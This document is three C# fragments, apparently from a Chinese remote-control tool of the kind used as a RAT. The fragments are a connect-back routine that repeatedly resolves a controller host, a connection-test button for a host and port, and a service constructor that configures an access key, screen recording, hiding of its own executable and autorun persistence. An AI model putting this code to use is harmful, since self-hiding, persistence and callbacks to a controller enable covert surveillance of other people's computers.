private void ConnectToServer() { //尝试解析出最新的域名地址 ThreadHelper.ThreadPoolStart(c => { var ip = HostHelper.GetHostByName(AppConfiguartion.HostAddress); if (ip.IsNullOrEmpty()) { return; } AppConfiguartion.ServerIPEndPoint = new IPEndPoint(IPAddress.Parse(ip), AppConfiguartion.HostPort); }); _clientAgent.ConnectToServer(AppConfiguartion.ServerIPEndPoint); }
private void button1_Click(object sender, EventArgs e) { if (mls_address.Text == "" || mls_port.Text == "") { MessageBoxHelper.ShowBoxExclamation("请输入完整正确的上线信息,否则可能造成上线失败!"); return; } logList.Items.Add("正在发起连接测试!"); Socket testSock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { testSock.Connect(HostHelper.GetHostByName(mls_address.Text), int.Parse(mls_port.Text)); testSock.Close(); MessageBoxHelper.ShowBoxExclamation("连接: " + mls_address.Text + ":" + mls_port.Text + " 成功!", "连接成功"); } catch { MessageBoxHelper.ShowBoxError("连接: " + mls_address.Text + ":" + mls_port.Text + " 失败!", "连接失败"); } }
public MainService(StartParameterEx startParameter) { while (true) //第一次解析域名,直至解析成功 { var ip = HostHelper.GetHostByName(startParameter.Host); if (ip != null) { AppConfiguartion.ServerIPEndPoint = new IPEndPoint(IPAddress.Parse(ip), startParameter.Port); break; } Console.WriteLine(startParameter.Host ?? "address analysis is null"); Thread.Sleep(5000); } AppConfiguartion.HostAddress = startParameter.Host; AppConfiguartion.HostPort = startParameter.Port; AppConfiguartion.AccessKey = startParameter.AccessKey; AppConfiguartion.DefaultRemarkInfo = startParameter.RemarkInformation; AppConfiguartion.DefaultGroupName = startParameter.GroupName; AppConfiguartion.IsAutoRun = startParameter.IsAutoStart; AppConfiguartion.IsHideExcutingFile = startParameter.IsHide; AppConfiguartion.RunTime = startParameter.RunTimeText; AppConfiguartion.Version = startParameter.ServiceVersion; AppConfiguartion.CenterServiceMode = startParameter.SessionMode == 1 ? true : false; AppConfiguartion.IdentifyId = startParameter.UniqueId; if (AppConfiguartion.IsHideExcutingFile) { SystemSessionHelper.SetExecutingFileHide(true); } if (AppConfiguartion.IsAutoRun) { SystemSessionHelper.SetAutoRun(true); } _screen_record_height = AppConfiguartion.ScreenRecordHeight; _screen_record_width = AppConfiguartion.ScreenRecordWidth; _screen_record_spantime = AppConfiguartion.ScreenRecordSpanTime; //创建通讯接口实例 var clientConfig = new TcpSocketSaeaClientConfiguration(); if (!AppConfiguartion.CenterServiceMode) { //服务版配置 clientConfig.AppKeepAlive = true; clientConfig.KeepAlive = false; } else { //中间服务器版服务端配置 clientConfig.AppKeepAlive = false; clientConfig.KeepAlive = true; } clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; clientConfig.CompressTransferFromPacket = false; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify); ConnectToServer(); }